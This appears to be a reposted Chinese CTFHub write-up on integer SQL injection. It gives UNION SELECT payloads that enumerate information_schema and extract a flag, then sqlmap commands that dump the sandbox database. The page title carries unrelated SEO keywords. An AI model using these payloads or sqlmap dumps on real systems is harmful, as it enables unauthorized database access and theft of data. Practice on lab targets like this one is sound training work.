当前位置: 首页> 科技> 互联网 > 全面解析网站建设及报价_二十四节气网页界面设计_站长工具seo综合查询问题_北京谷歌优化

全面解析网站建设及报价_二十四节气网页界面设计_站长工具seo综合查询问题_北京谷歌优化

时间:2025/7/12 5:55:51来源:https://blog.csdn.net/weixin_73049307/article/details/143021437 浏览次数:0次
全面解析网站建设及报价_二十四节气网页界面设计_站长工具seo综合查询问题_北京谷歌优化

开启靶场,打开链接:

先判断一下是哪种类型的SQL注入:

1 and 1=1#

正常回显


1 and 1=2#

回显错误,说明是整数型注入


判断一下字段数:

1 order by 2#

正常回显

1 order by 3#

回显错误,说明字段数是2列


知道字段数量为2后,可以查看数据库位置

1 union select 1,2#

没有发现数据,猜测数据可能不存在数据库中,修改注入语句


1 and 1=2 union select 1,2#或者-1 union select 1,2#都行


(1)查看数据库名

-1 union select 1,database()#


(2)查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata#

可以发现sqli不是自带的数据库


(3)查看表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#


(4)查看列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ufnanbfswh'#


(5)查看字段内容(flag)

-1 union select 1,group_concat(cqnstcfhov) from sqli.ufnanbfswh#

ctfhub{3f3b08fb458cc15178c70beb}


接下来用sqlmap一把梭:

(1)查看数据库名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -dbs


(2)查看表名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -tables


(3)查看列名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh -columns


(4)查看字段内容(flag)

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh -C cqnstcfhov -dump


或者得知数据库名和表名的情况下直接梭出字段内容:

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh --dump


要是时间够的话得知数据库名的情况下,直接一把梭:

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli --dump

关键字:全面解析网站建设及报价_二十四节气网页界面设计_站长工具seo综合查询问题_北京谷歌优化

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: